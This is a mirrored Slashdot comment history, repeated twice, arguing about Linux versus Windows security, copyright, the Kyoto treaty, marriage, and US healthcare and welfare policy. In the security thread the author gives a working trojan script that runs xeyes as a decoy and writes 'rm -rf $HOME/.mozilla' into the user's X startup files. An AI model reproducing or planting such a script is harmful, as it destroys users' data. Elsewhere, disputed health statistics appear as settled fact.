Library's have different rules applied to them, do a quick search for DMCA & library. The other flaw in your argument is that library's allow you to check out the physical media, not just give you a copy the electronic bytes. The library doesn't generate new copies of the content (though I believe they are legally allowed to do it 3x times), while your computer creates new copies of the content as it "shares". Now if there was only one copy of the file, and it left your computer when you shared it, you'd have a better library argument. You might still have a bit of a problem copyright owners have rights of transmision, but you'd be in a much more defendable position.
Do you honestly think if the webpage said do X, Y, Z that Granny wouldn't do it? That's all that is required, save to directory execute, even better give it a different extension and when firefox prompts you tell granny to type execute with/bin/sh and you're done.
Why do you think backing up windows is any different than linux? I've said it time and time again, who cares if the OS is still there, I don't have a computer for an OS, I have it for the data. If my data gets touched then there's a problem, on windows & linux I can have different permissions and I can back them up. Repair is *not* trivial, if you think it is than you are stupid (do you trust your kernel anymore, do your trust your package signatures, what can you trust if you possibly can't even trust your standard library files? Those types of rootkits have been around for years and years). The quickest and easiest thing is a reload, which for the most part is relatively painless provided things are backed up properly, else you are going to want to boot of a CD that you had prior to the problem or from another system and manually copy stuff you want off. The wonderful thing with rootkits these days is that they can by pass tripwire, etc they can kind anything they want from you. Lie to you about their existence, lie to you about their md5hash signature, etc. you can't even really trust the data inside your backups until you go back in time to prior to the problem.
Download any recent rootkit and tell me how much it has dealing with different distributions and tell me if it takes a dedicated person to attack or if it's simply a run and there you go situation? Additionally I'm pretty sure "rm" is the same across all distributions and that's all it takes to make someone have a bad day.
On my XP load my browser and email client both ask me before running anything and if I open network and can firewall anything off I want, just like I can use iptables, etc on Linux to protect me if I wish.
What you really are saying is that linux is more protective because it's less userfreindly requiring granny to know run something, not because of any inherrent technical reasons. If you really believe you are protecting yourself because granny can't read a web page that says do A, B then C, you are deluding yourself, you are relying on security not even by obsurity, but simply counting-on that end user wouldn't do when they are asked to.
I've a die hard unix administrator for over a decade now, but I am smart enough to realize that saying it can't be done because you are counting on your users to be smart enough not to run unknown things but dumb enough not to figure out how to run them on linux is sure stupidity. I'm not saying windows is better, but I'm also not saying linux is really any better either.
Are you saying that it's impossible to do? That if granny was running Linux she couldn't click on a link and run a shell script that downloads the rootkit dujour and installs it? You've got to be very, very naive to think that Linux prevents trojans. Just because you don't have root, doesn't mean it can't extract itself to... let's say/var/tmp, put itself into your.profile,.xinitrc, etc and attatch as a proxy to >1024
Just to passify you there have been a number over the years. Heck let me create a super simple one for you right now (no error checking, trying to hind itself, etc). All I have to do is get granny to download it and run it (which most grannies seem to do these days). She probably has never seen xeyes before, but she won't realize that the next time she logs into X all of her email will be gone.
Why would you say the Windows OS is clearly the problem? The trojan *only* run on Windows, so one would expect that all of the clients are Windows. It's like saying that Linux OS is clearly the problem when looking for Linux kernel bugs and the fact that they don't affect Windows at all.
I think the problem is that there really is nothing inherrent in Linux, etc that would prevent them from being part of a botnet if I run a trojan. As a Linux user I can open up a port >1024 and my.profile or.xinitrc can run a botnet program without me noticing it. Grandma is just as likely to click on a "run this" spam message on Linux as she is on XP, just right now there are limited number of uninformed Grandma's running Linux so people aren't creating programs for it.
Probably the bigger reason for this specific case is that the spam-thru trojan doesn't run on anything other than a windows! So the stupid people trying to compare it the infection rate of any other OS is very, very *stupid*.
I freely admit that there is a warming trend in the earth, and it's very obviously humans contribute to it, but I am undecided whether or not human contribution is a 1% affect or a 100% affect (but that was *NEVER* the point of the conversation, other than you trying to insert a very large, stinky red herring and divert it).
It's funny how you try to shy away from the topic at hand, trying to insert something else into the conversation and not even address the topic. Red herrings are not a proper way to have a conversation.
Back to the topic at hand, the kyoto treaty is equivalent to going to the doctor saying you have numbness in your thumb, and the doctor doesn't exam you but throws you onto the table and hacks off your four other fingers, leaving you still with your numb thumb. If humans cause 100% of the warming trend, the kyoto treaty doesn't do enough for the environment, if the cause less then the kyoto treaty does nothing for the environment and causes devastation to peoples lives for absolutely no reason. You can understand this can't you? You are so blind that you think just running around screaming implement something, anything right now it doesn't really matter if helps or not isn't a really good solution (which is about how the Kyoto treaty was drafted).
Your subject is *exactly* what I'm saying we should do (and have said repeatedly in the past here), marriage is a religious concept. The government using the concept of marriage defines what religion is for *everybody*, it then pushes a specific set of moral values onto everyone's religion. I want to be married within my religious views and have a civil union under my government.
No, they're not. I'm not even going to dignify this with a response; plenty enough good ones have been posted already, and you're being really stupid in saying this.
That's kind of childish way to get out. By definition the government saying you can do this or not do this, for any type of moral issue *is* forcing morality. You can try and spin it however you want, try and say others have spoken for you (but curiously don't mentioned which ones), run around with your fingers in your ear chanting, but that is exactly what is being done.
Government did this long ago when they gave a special legal status, along with certain rights, privileges, and responsibilities to couples that are married. I hate to burst your bubble, but marriage is not just a religious concept
See this is where the problem of morality is, the government is additionally defining religious concepts, which also goes against the concept of freedom of religion. You can't say that marriage is not just a religious concept and then allow the government define what the intertwined mix is and try to in the same veign ignore the religious concept. On one hand you are breaking the separation of church and state, on the other hand you are descriminating. Don't you see? That's why I say the government should get out of the marriage business completely as either way they are defining morality for people, descriminating against certain people on one hand and defining a religious concept on the other. If it's only about benefits and not about the religious concept of marriage, than why should we even stop at a couple, because I really don't care if you want to have a whole comune of people together rock-on. But I have an issue with the government taking a personal religious concept and defining it for everybody.
I'm getting the impression you thought it was going to be some big shock that to apply the same rule to everybody, convert all the marriages to civil unions under the government; when in fact that's what I was saying.
I don't really know when those stats are from, my guess is that they are making a statement about the screening process and how the people in the US tend to have much more access to tests for those discretionary things allowing for much earlier identification preventing cancer moving from lowerstage to a higherstage.
Don't have similar stats that I have a date for, but for something recent according to this link, The wait to get a MRI in the UK at the Nuffield Orthapaedic Center for the first quarter of 2006 (from referal to having it) is ~13 weeks or just over 3 months
You might want to re-read what was in your link, it doesn't talk at all about the quality of the healthcare system, lifestyle of people, but nadda about healthcare systems. Nice try at trying to introducing red herring though.
Can you tell me exactly how the Kyoto treaty is the best fix, or even a reasonably good fix? If you can't tell my your solution will fix climate change, than it's purely a guess, but a guess that has significant pain behind it. Prove to me why your solution will fix it, there are LIVES at stake here, what solution is best? I'd prefer to keep the economy going and pour money into alternative renuable energy rather than simply economic sanctions on countries who go over their "quota". Also prove to me that we can't wait for the technology, but that we must implement something that is a pure gamble that hasn't had even the slightest resonable vetting of information yet.
And what do you think is going to happen if the earth warms by 5 degrees and sea levels rise by a factor of meters, and 50 years earlier to destroyed the economy? Running around like chickens with our heads cut off, screaming that the sky is falling implementing things we don't know will help or hurt does nobody any good. All I'm asking is that someone *THINKS A LITTLE*, before they force millions of people into poverty, running blindly into walls is stupid.
I believe it's *immoral* to possibly make a large number of the population unemployed to rush in so-called "solutions" that may have absolutely no affect to the environment, but will have a large affect on the economy. There's a reason why when the Byrd-Hagel resolution for that the US shouldn't vote for the Kyoto treaty as written, the Kyoto treaty didn't get a single negative vote against it, not one (95-0), really if it's that good, or even partly good you'd think someone would have wanted it....
Re:Keywords: Government. Health Care. Disaster
on
Biggest IT Disaster Ever?
·
· Score: 2, Informative
And I'm providing a point that I have direct experience with this, I've not gotten any impression that you do. That you don't have anybody in your immediate family who is of working age and is unable to work because of a physical ailment, my wife has those.
If you are talking about intensive treatment, than I suggest you look around and tell me how much "intesive" treatment you get in other countries? You don't get intensive treatment, you get emergency treatment and a line for ailments. There is nothing really intesive about most social medical programs.
Here are the plain-jane facts: http://www.pittsburghlive.com/x/pittsburghtrib/s_3 07614.html 46% chance of dieing of breast cancer in UK, 25% in US 57% change of dieing from prostate cancer 19% in US 1/3 of heart attack patients get beta-blockers in UK, 3/4 of patients in US UK has half the number of MRI & CT scanners per million people as the US does 36% of non-emergency UK surgeries wait for >4 months, only 5% of the US do 40% of UK cancer patients don't get to see a specialist
Having a loved one who has >8 doctor visits per month for the past 6 years, I'm well aware of the luxury we have in the US, and I have intimate knowledge of what "intensive treatment" means, and waiting >4 months for non-emergency surgery is not what "intensive treatment" means. Interestingly enough I know a person who does have MS, doesn't work, get's a government stipend and government healthcare. She gets her medicine free from the pharmacuticals, which basically every single one offers based upon income and her treatments are completely free. If you have no income, you can be very well covered, unfortunately few people seem to understand that, the people who are in the bind in the US are the people who are middle-class who get into trouble and don't have a fall-back plan. The ones who aren't poor and the ones who aren't rich, the ones that fall outside of the low income requirements and can't cover it themselves and don't have a job that covers it and run into a major medical condition.
Having being with someone so young and unable to work for so many years and constantly in doctors office I have a reasonable understanding of the situation as I too want to save all the cash possible on my medical bills and I have investigaged these different options personally. And FYI, the new medicare perscription plan should keep granny from having to goto canada for her drugs anymore (we aren't under medicare so I can't say for complete certainty, but if granny is on medicare d she should get most everything for like $10, once she figures out the plan that works for her).
If you have a family of 4x and you make less than $40,000 pfizer will send you stuff for free (even viagara), you do have to resubmit your income level every year (boo, hoo that's a terrible price to pay to get viagara) https://www.pfizerhelpfulanswers.com/assets/connec tcareApp_English.pdf
I'm not going to say everything is perfect, but it is working much better than you think it is.
Re:Keywords: Government. Health Care. Disaster
on
Biggest IT Disaster Ever?
·
· Score: 2, Informative
Among women with breast cancer, for example, there's a 46 percent chance of dying from it in Britain, versus a 25 percent chance in the United States. "Britain has one of worst survival rates in the advanced world," writes Bartholomew, "and America has the best."
If you're a man diagnosed with prostate cancer, you have a 57 percent chance of it killing you in Britain. In the United States, the chance of dying drops to 19 percent. Again, reports Bartholomew, "Britain is at the bottom of the class and America is at the top."
More specifically, three-quarters of Americans who've had a heart attack are given beta-blocker drugs, compared to fewer than a third in Britain. Similarly, American patients are more likely than British patients to have a heart condition diagnosed with an angiogram, more likely to have an artery widened with angioplasty, and more likely to get back on their feet by way of a bypass.
It never ceases to amaze me that there are people who will apply the "pull yourself up by your bootstraps" mentality to those suffering from Muscular Dystrophy, ALS, Leukemia and all of those others afflictions that obviously afflict far more than just the 'lazy' and 'irresponsible'. Is this compassionate conservatism in action?
Have you ever heard of Medicare or Medicaid? For a person with those types of diseases, all you have to do to is apply. You make more, than low and behold there's medicare where you have a co-pay, you are poor then you get medicaid where it's free. All the people who are on those programs are obviously much smarter than you, because you didn't realize that those programs pay for medical bills for people. I suspect that you also have no idea about SSDIB (go ahead and look it up) either. Maybe you should do some poking around on the internet, before you go repeating partisan BS that you could find out isn't quite right with just a couple of minutes on your search engine of choice. I'd like to see any government official saying that people with such disabilities should be "pulling themselves up by their bootstraps".
And another thing you can also include multiple herniated disks (2x cervical & 1x thorasic), degenerative disc disease & migraine with aura to your list of health afflications that keep people from working (i.e. one of my family members)
Having flown recently in cattle-class, I think you'd actually need to have the display on the seat in front of the guy infront of you (say that fast). The seats are so close together that when the person in front of you leans back the measily 2-3 inches they give you, you won't have enough room to see your display worth a darn, or without needing a chiropractor. But as long as the guy infront of you keeps from reading anything you have a nice view of the seat in front of him.
But have you looked at the price of it's largest linux competitor Redhat. Base support license for Redhat workstation is $179, this only gets you updates and 30 day's of installation support, to get standard support it is $299 dollars. MS is still more expensive but's it's not crazy out of line in comparison, until you see that Redhat is *YEARLY*. So for 3 years of just updates it's $537, if you want support it's $837. Now I ask you for a reality check now, if you goto court complaining that MS is setting such an obscenely high price that anti-trust measures should be put against it, would you or would you not get laughed out of the court?
I think you are kind of deluding yourself it it's truely *only* that. That there isn't a view of love, spirituality, etc in a gay relationship. The problem I have with both partys is that they are forcing morality onto *everyone*. The government has taken a religious concept (marriage) and usurped it and is now trying to force a definition onto everyone. Which is why I say the government should not do anything with marriage, as it's a religious concept and should only have civil unions. Then your marriage is truely about your religious beliefs, if your church accepts marrying someone of the opposite sex do it, if your religion accepts you marring someone of the same sex do it, if your church accepts you marrying a rubber doll do it. But the government should not be defining our morals for us, which the Repubs trying to ban gay marriage and the Dems trying to force acceptance of marriage (a bit generalization as there are repubs for forcing acceptance and there are dems for banning). The part I disagree with is using the government to decide moral decisions for the people.
Not that I care that much about gays, but they truely are trying to force the acceptance of gays into a religious vows. That you are required to accept them and that it is illegal to not accept them. It's not about forcing marriage, it's about forcing thought. (which is why I believe the government shouldn't get out of marriage completely and only have civil unions. Not to get into one topic too much, but some people truely believe that abortion is truely equivalent to murder. Again it's not about forcing you to have an abortion but to force their moral values onto someone else. For some people it's government forced acceptance of murder. Freedom of religion point was more of the battles to even have a small separate room for a group to have a private religious meeting in. No forced religion, etc but the fact that of banning merely because some people privately get together for it. I agree with your two sides of the same coin argument as well, I should have mentioned it directly, but I was basically showing examples where the Dems force their moral values onto others as well.
And the US has the same type of programs, if you are poor the US have massive programs to help you. It truely astonishes me that people think that they have no programs at all. I grew up dirt poor as well, having known the "interesting" taste of the 4x4x12" block of yellow cheese (I use the term cheese loosely) from the government. I've known people to actually get paid to go to school, not much but they were paid and even made got a tax refund for more than they made the entire year! Those types of programs shouldn't be stopped, but the subsistence ones should, people should have to be on welfare for years and years because the government only gives them just enough to have a reasonable life, but not enough to give them a chance. I don't want welfare canceled I wanted it reformed, and that's what we got. The dems were screaming that people would be starving in the street, but it never happened.
On healthcare I have mixed feelings on, but every program I've seen I don't believe is sustainable. Additionally my wife has cronic pain, and while I'd *love* to have things paid for (for the last 3 years I've averaged >$12k in medical bills, we weren't married and she was unable to work, she only had major medical no perscription/doctor visit) she wouldn't be able to get to the specialists she needs constantly. It would be great to have universal healthcare where everything was paid for, but I don't think it's possible. A general healthcare program could be sustainable, but programs where paying for Viagara, non-critical, etc are required are not, also preventable medication programs as well. But all the lifestyle helpful ones I think are over the top and make it unsustainable (but that's another topic all together).
- They're Republican because they think that the Republican party has their social, religious, or ethical values in common with them, and that's more important to them than their economic well-being. Religion in particular is insidious for this characteristic. If God supposedly tells you that gays shouldn't get married, then it doesn't matter what the economic future of this country will be like; that trumps everything. Personally, I disagree with most of these people's values and beliefs, but we usually still get along because unlike most of them, I don't go trying to impose my own values on them.
Unfortunately most of the people in your group do the exact same thing and try to impose your values and beliefs on the Republicans. Gay marriage, abortion, freedom to practice religion, etc. Two sides of the same coin.
- They're well off and have either only vague notions or no notion at all of what it's like to be poor. A lot of these folks are the middle-aged or old folks who lived in a time when there was upward mobility for the middle-class; when hard work and thriftiness really did pay off. These are typically the "I don't understand why poor people don't just pull themselves up by their bootstraps" Republicans, because when they were growing up, that was actually possible. They are against funding things like public education, public transportation, welfare, Medicaid, and so on, because they think that almost all poor people are poor because they're lazy or stupid, and we shouldn't have to pay to try to help them.
Now you are just falling for the stereotypes fed to you by people in a certain party. What you don't appear to understand is that Republicans don't want to pull funding, they just want to reform it because it's broken. They don't want to pull the soup bowl out of the mouth of children, they want to empower them. Their belief is not that everybody can just "pull themselves up by their bootstraps", but that individuals require help and that just constantly giving them cash for years and years hasn't worked in the past and isn't going to work in the future. The thought is this: you want to get 10 people off the street and you have $1000 every month to try and do it, the Democrat way is to give each of them 100 each month until the "pull themselves up by the bootstraps", the Republican way is to give 1 person $500 to try and pull themselves up the rest get $55.55, if the person doesn't put in the effort to try and get out they will be dropped down and someone else will be given the $500 who might. It simply is about how to allocate the money, Republicans believe that trying should be rewarded and that minimal sustaining amounts never allow people to get out, but large targeted ammounts do. Look at the welfare act that happened a few years ago, remember all the people claiming that the poor would get so screwed because they wouldn't be able to be on it for years and year and year? Well, look at it now, the crash didn't happen, less people are on welfare allowing more individuals to get more cash to try and get out.
- They're ignorant of politics and economics. Not necessarily stupid, but they don't understand how government works, who's responsible for what, and what consequences are a result of what causes. These are the folks who can't name their own senators and representatives (Chambliss, Isakson, and Linder, at least those are mine). They have no idea who the Chief Justice of the Supreme Court is (Roberts, so you don't have to look it up). They don't take the time to understand simple things such as how much we pay every year in interest on Reagan's and Bush's national credit card ($406 billion in 2006).
And I don't think you have any idea about economics and what debt is. Debt is a way of life, it just is period, if you don't understand that then it is you who are stupid. Look at the countries who have all the required balanced budgets and compare the economic situation. Germany, France? Double digit unemployment, even Canada has a 2+ unempl
>passed by a Republican controlled House and a Republican Senate
If one looks at the real vote you'll see how partisan your statement talking about who was in the majority is. Hint, look and see if there was a single senate vote against it (voice vote in the house, so no records of who was for/against it). If there wasn't a single vote against it in the senate, than who is the majority has absolutely no meaning other than to be partisan trying to get the Dems off the hook, when in reality they are just as much on the hook as everybody else.
Would you like to elaborate on how exactly if some non-senator says "hey I've got a good idea, what do you think of this", and a senator looks at it says "you know what that does look pretty good" and changes it a bit and submits it as a bill, that it takes power away. It would only take power away if they can a senator to introduce the bill if he doesn't want to, or if there is some ruling that all bills are required to be authored from somewhere else. But simply using someone elses ideas should not be discouraged for the sole fact that some *gasp* non-congress critter though of it, going outside the box and using someone elses good ideas should be encouraged.
Why don't you quote where I say he was the sole writer? In fact I go on to basically say that it came from the outside, but bitching that a piece of legislation wasn't written in congress doesn't mean much of anything as it doesn't give or take any power from the legislature. If a well written legislation comes from outside should congress be specifically prevented from using it? Or is congress just that infallable they always make great legislation and that someone else can't draft something up that they think is good. Do you *really* care that much about who was the drafter of a piece of legislation, or the content of the legislation?
http://en.wikipedia.org/wiki/USA_PATRIOT_Act
* Antiterrorism and Effective Death Penalty Act of 1996 (AEDPA)
The AEDPA is the direct predecessor of the USA PATRIOT Act and contains many provisions that were maintained and expanded by the USA PATRIOT Act, including those relating to terrorism, FISA, immigration, and so on.
And it wasn't drafted by anyone in the legislative branch? Introduced into the House of Representatives as H.R. 3162 by Congressman James F. Sensenbrenner (R, WI), the Act swept through Congress remarkably quickly and with little dissent.... On June 10, 2005, during testimony at a House Judiciary Committee hearing on the reauthorization of the Act, Chairman James Sensenbrenner (one of the Act's authors) The argument isn't worth much anyway, unless you are trying to say that the legislative branch should be specifically be prevented from taking the ideas/documents from another branch of government. So what if someone else wrote the document, who wrote it doesn't mean anything really the legislative branch's real power is that they get to introduce it.
And you say they didn't know? How could they not know if that's their job? And it especially makes the argument weak as they knew what was in it years later when they bi-parisanly came together to renew it. Again it's two sides of the same coin, the dems love power and restriction of rights just as much as the repubs. You'll note that they only bitch when the other party is doing it.
They read it, it was basically the same thing the Clinton administration proposed and passed in 96. Do a search on: "Anti-Terrorism and Effective Death Penalty Act". You'll find such gems as:
If you support lawful political or humanitarian aid for any group designated a terrorist. If you send food to certain palestenian children you've now broken the law and can be held for it.
Allowed "secret evidence" to be used against people for deportation and for cases. You can be deported at any time, and not be told why or held in jail for years and years (see Ahmed case below)
Banks are now forced to freeze assets of people, groups, etc that a employee "suspects" they might have any relationship to any organization on a terrorist group. Even better banks are required to tell the government anytime they notice a customer doing something out of the ordinary (so if you simply want to pull some cash out of the bank to pay for a car, they are *REQUIRED* to notify the government). This would be part of John Kerry's know your customer provisions.
Expanded FBI rights to spy on immigrants (read up on the Salah case from 98 and how the US spied on him in his own mosque)
Because of the AEDPA Nasser Ahmed spent 3.5 years in solitary confinement without any charges or trial at all. This was again prior to the Patriot Act.
With the dems and repubs it's two sides of the *SAME* coin, they bitch when the other party is in power but do the exact same thing when they are in power
Slashdot Mirror
Library's have different rules applied to them, do a quick search for DMCA & library. The other flaw in your argument is that library's allow you to check out the physical media, not just give you a copy the electronic bytes. The library doesn't generate new copies of the content (though I believe they are legally allowed to do it 3x times), while your computer creates new copies of the content as it "shares". Now if there was only one copy of the file, and it left your computer when you shared it, you'd have a better library argument. You might still have a bit of a problem copyright owners have rights of transmision, but you'd be in a much more defendable position.
Do you honestly think if the webpage said do X, Y, Z that Granny wouldn't do it? That's all that is required, save to directory execute, even better give it a different extension and when firefox prompts you tell granny to type execute with /bin/sh and you're done.
Why do you think backing up windows is any different than linux? I've said it time and time again, who cares if the OS is still there, I don't have a computer for an OS, I have it for the data. If my data gets touched then there's a problem, on windows & linux I can have different permissions and I can back them up. Repair is *not* trivial, if you think it is than you are stupid (do you trust your kernel anymore, do your trust your package signatures, what can you trust if you possibly can't even trust your standard library files? Those types of rootkits have been around for years and years). The quickest and easiest thing is a reload, which for the most part is relatively painless provided things are backed up properly, else you are going to want to boot of a CD that you had prior to the problem or from another system and manually copy stuff you want off. The wonderful thing with rootkits these days is that they can by pass tripwire, etc they can kind anything they want from you. Lie to you about their existence, lie to you about their md5hash signature, etc. you can't even really trust the data inside your backups until you go back in time to prior to the problem.
Download any recent rootkit and tell me how much it has dealing with different distributions and tell me if it takes a dedicated person to attack or if it's simply a run and there you go situation? Additionally I'm pretty sure "rm" is the same across all distributions and that's all it takes to make someone have a bad day.
On my XP load my browser and email client both ask me before running anything and if I open network and can firewall anything off I want, just like I can use iptables, etc on Linux to protect me if I wish.
What you really are saying is that linux is more protective because it's less userfreindly requiring granny to know run something, not because of any inherrent technical reasons. If you really believe you are protecting yourself because granny can't read a web page that says do A, B then C, you are deluding yourself, you are relying on security not even by obsurity, but simply counting-on that end user wouldn't do when they are asked to.
I've a die hard unix administrator for over a decade now, but I am smart enough to realize that saying it can't be done because you are counting on your users to be smart enough not to run unknown things but dumb enough not to figure out how to run them on linux is sure stupidity. I'm not saying windows is better, but I'm also not saying linux is really any better either.
Are you saying that it's impossible to do? That if granny was running Linux she couldn't click on a link and run a shell script that downloads the rootkit dujour and installs it? You've got to be very, very naive to think that Linux prevents trojans. Just because you don't have root, doesn't mean it can't extract itself to... let's say /var/tmp, put itself into your .profile, .xinitrc, etc and attatch as a proxy to >1024
Just to passify you there have been a number over the years. Heck let me create a super simple one for you right now (no error checking, trying to hind itself, etc). All I have to do is get granny to download it and run it (which most grannies seem to do these days). She probably has never seen xeyes before, but she won't realize that the next time she logs into X all of her email will be gone.
#!/bin/sh
xeyes 2>/dev/null &
echo "rm -rf $HOME/.mozilla" >> ~/.xinitrc
echo "rm -rf $HOME/.mozilla" >> ~/.xsession
Why would you say the Windows OS is clearly the problem? The trojan *only* run on Windows, so one would expect that all of the clients are Windows. It's like saying that Linux OS is clearly the problem when looking for Linux kernel bugs and the fact that they don't affect Windows at all.
I think the problem is that there really is nothing inherrent in Linux, etc that would prevent them from being part of a botnet if I run a trojan. As a Linux user I can open up a port >1024 and my .profile or .xinitrc can run a botnet program without me noticing it. Grandma is just as likely to click on a "run this" spam message on Linux as she is on XP, just right now there are limited number of uninformed Grandma's running Linux so people aren't creating programs for it.
Probably the bigger reason for this specific case is that the spam-thru trojan doesn't run on anything other than a windows! So the stupid people trying to compare it the infection rate of any other OS is very, very *stupid*.
I freely admit that there is a warming trend in the earth, and it's very obviously humans contribute to it, but I am undecided whether or not human contribution is a 1% affect or a 100% affect (but that was *NEVER* the point of the conversation, other than you trying to insert a very large, stinky red herring and divert it).
It's funny how you try to shy away from the topic at hand, trying to insert something else into the conversation and not even address the topic. Red herrings are not a proper way to have a conversation.
Back to the topic at hand, the kyoto treaty is equivalent to going to the doctor saying you have numbness in your thumb, and the doctor doesn't exam you but throws you onto the table and hacks off your four other fingers, leaving you still with your numb thumb. If humans cause 100% of the warming trend, the kyoto treaty doesn't do enough for the environment, if the cause less then the kyoto treaty does nothing for the environment and causes devastation to peoples lives for absolutely no reason. You can understand this can't you? You are so blind that you think just running around screaming implement something, anything right now it doesn't really matter if helps or not isn't a really good solution (which is about how the Kyoto treaty was drafted).
Your subject is *exactly* what I'm saying we should do (and have said repeatedly in the past here), marriage is a religious concept. The government using the concept of marriage defines what religion is for *everybody*, it then pushes a specific set of moral values onto everyone's religion. I want to be married within my religious views and have a civil union under my government.
No, they're not. I'm not even going to dignify this with a response; plenty enough good ones have been posted already, and you're being really stupid in saying this.
That's kind of childish way to get out. By definition the government saying you can do this or not do this, for any type of moral issue *is* forcing morality. You can try and spin it however you want, try and say others have spoken for you (but curiously don't mentioned which ones), run around with your fingers in your ear chanting, but that is exactly what is being done.
Government did this long ago when they gave a special legal status, along with certain rights, privileges, and responsibilities to couples that are married. I hate to burst your bubble, but marriage is not just a religious concept
See this is where the problem of morality is, the government is additionally defining religious concepts, which also goes against the concept of freedom of religion. You can't say that marriage is not just a religious concept and then allow the government define what the intertwined mix is and try to in the same veign ignore the religious concept. On one hand you are breaking the separation of church and state, on the other hand you are descriminating. Don't you see? That's why I say the government should get out of the marriage business completely as either way they are defining morality for people, descriminating against certain people on one hand and defining a religious concept on the other. If it's only about benefits and not about the religious concept of marriage, than why should we even stop at a couple, because I really don't care if you want to have a whole comune of people together rock-on. But I have an issue with the government taking a personal religious concept and defining it for everybody.
I'm getting the impression you thought it was going to be some big shock that to apply the same rule to everybody, convert all the marriages to civil unions under the government; when in fact that's what I was saying.
I don't really know when those stats are from, my guess is that they are making a statement about the screening process and how the people in the US tend to have much more access to tests for those discretionary things allowing for much earlier identification preventing cancer moving from lowerstage to a higherstage.
D =222942&NewsAreaID=2&NavigatedFromSearch=True&prin t=true
Don't have similar stats that I have a date for, but for something recent according to this link,
The wait to get a MRI in the UK at the Nuffield Orthapaedic Center for the first quarter of 2006 (from referal to having it) is ~13 weeks or just over 3 months
http://www.gnn.gov.uk/content/detail.asp?ReleaseI
I believe that the UK is trying for a 2008 guarantee of 13 weeks for a MRI (currently a 20 week guarantee).
You might want to re-read what was in your link, it doesn't talk at all about the quality of the healthcare system, lifestyle of people, but nadda about healthcare systems. Nice try at trying to introducing red herring though.
Can you tell me exactly how the Kyoto treaty is the best fix, or even a reasonably good fix? If you can't tell my your solution will fix climate change, than it's purely a guess, but a guess that has significant pain behind it. Prove to me why your solution will fix it, there are LIVES at stake here, what solution is best? I'd prefer to keep the economy going and pour money into alternative renuable energy rather than simply economic sanctions on countries who go over their "quota". Also prove to me that we can't wait for the technology, but that we must implement something that is a pure gamble that hasn't had even the slightest resonable vetting of information yet.
And what do you think is going to happen if the earth warms by 5 degrees and sea levels rise by a factor of meters, and 50 years earlier to destroyed the economy? Running around like chickens with our heads cut off, screaming that the sky is falling implementing things we don't know will help or hurt does nobody any good. All I'm asking is that someone *THINKS A LITTLE*, before they force millions of people into poverty, running blindly into walls is stupid.
I believe it's *immoral* to possibly make a large number of the population unemployed to rush in so-called "solutions" that may have absolutely no affect to the environment, but will have a large affect on the economy. There's a reason why when the Byrd-Hagel resolution for that the US shouldn't vote for the Kyoto treaty as written, the Kyoto treaty didn't get a single negative vote against it, not one (95-0), really if it's that good, or even partly good you'd think someone would have wanted it....
And I'm providing a point that I have direct experience with this, I've not gotten any impression that you do. That you don't have anybody in your immediate family who is of working age and is unable to work because of a physical ailment, my wife has those.
3 07614.html
c tcareApp_English.pdf
If you are talking about intensive treatment, than I suggest you look around and tell me how much "intesive" treatment you get in other countries? You don't get intensive treatment, you get emergency treatment and a line for ailments. There is nothing really intesive about most social medical programs.
Here are the plain-jane facts: http://www.pittsburghlive.com/x/pittsburghtrib/s_
46% chance of dieing of breast cancer in UK, 25% in US
57% change of dieing from prostate cancer 19% in US
1/3 of heart attack patients get beta-blockers in UK, 3/4 of patients in US
UK has half the number of MRI & CT scanners per million people as the US does
36% of non-emergency UK surgeries wait for >4 months, only 5% of the US do
40% of UK cancer patients don't get to see a specialist
Having a loved one who has >8 doctor visits per month for the past 6 years, I'm well aware of the luxury we have in the US, and I have intimate knowledge of what "intensive treatment" means, and waiting >4 months for non-emergency surgery is not what "intensive treatment" means. Interestingly enough I know a person who does have MS, doesn't work, get's a government stipend and government healthcare. She gets her medicine free from the pharmacuticals, which basically every single one offers based upon income and her treatments are completely free. If you have no income, you can be very well covered, unfortunately few people seem to understand that, the people who are in the bind in the US are the people who are middle-class who get into trouble and don't have a fall-back plan. The ones who aren't poor and the ones who aren't rich, the ones that fall outside of the low income requirements and can't cover it themselves and don't have a job that covers it and run into a major medical condition.
Having being with someone so young and unable to work for so many years and constantly in doctors office I have a reasonable understanding of the situation as I too want to save all the cash possible on my medical bills and I have investigaged these different options personally. And FYI, the new medicare perscription plan should keep granny from having to goto canada for her drugs anymore (we aren't under medicare so I can't say for complete certainty, but if granny is on medicare d she should get most everything for like $10, once she figures out the plan that works for her).
If you have a family of 4x and you make less than $40,000 pfizer will send you stuff for free (even viagara), you do have to resubmit your income level every year (boo, hoo that's a terrible price to pay to get viagara) https://www.pfizerhelpfulanswers.com/assets/conne
I'm not going to say everything is perfect, but it is working much better than you think it is.
Are you so sure about that????
3 07614.html
http://www.pittsburghlive.com/x/pittsburghtrib/s_
Among women with breast cancer, for example, there's a 46 percent chance of dying from it in Britain, versus a 25 percent chance in the United States. "Britain has one of worst survival rates in the advanced world," writes Bartholomew, "and America has the best."
If you're a man diagnosed with prostate cancer, you have a 57 percent chance of it killing you in Britain. In the United States, the chance of dying drops to 19 percent. Again, reports Bartholomew, "Britain is at the bottom of the class and America is at the top."
More specifically, three-quarters of Americans who've had a heart attack are given beta-blocker drugs, compared to fewer than a third in Britain. Similarly, American patients are more likely than British patients to have a heart condition diagnosed with an angiogram, more likely to have an artery widened with angioplasty, and more likely to get back on their feet by way of a bypass.
It never ceases to amaze me that there are people who will apply the "pull yourself up by your bootstraps" mentality to those suffering from Muscular Dystrophy, ALS, Leukemia and all of those others afflictions that obviously afflict far more than just the 'lazy' and 'irresponsible'. Is this compassionate conservatism in action?
Have you ever heard of Medicare or Medicaid? For a person with those types of diseases, all you have to do to is apply. You make more, than low and behold there's medicare where you have a co-pay, you are poor then you get medicaid where it's free. All the people who are on those programs are obviously much smarter than you, because you didn't realize that those programs pay for medical bills for people. I suspect that you also have no idea about SSDIB (go ahead and look it up) either. Maybe you should do some poking around on the internet, before you go repeating partisan BS that you could find out isn't quite right with just a couple of minutes on your search engine of choice. I'd like to see any government official saying that people with such disabilities should be "pulling themselves up by their bootstraps".
And another thing you can also include multiple herniated disks (2x cervical & 1x thorasic), degenerative disc disease & migraine with aura to your list of health afflications that keep people from working (i.e. one of my family members)
Having flown recently in cattle-class, I think you'd actually need to have the display on the seat in front of the guy infront of you (say that fast). The seats are so close together that when the person in front of you leans back the measily 2-3 inches they give you, you won't have enough room to see your display worth a darn, or without needing a chiropractor. But as long as the guy infront of you keeps from reading anything you have a nice view of the seat in front of him.
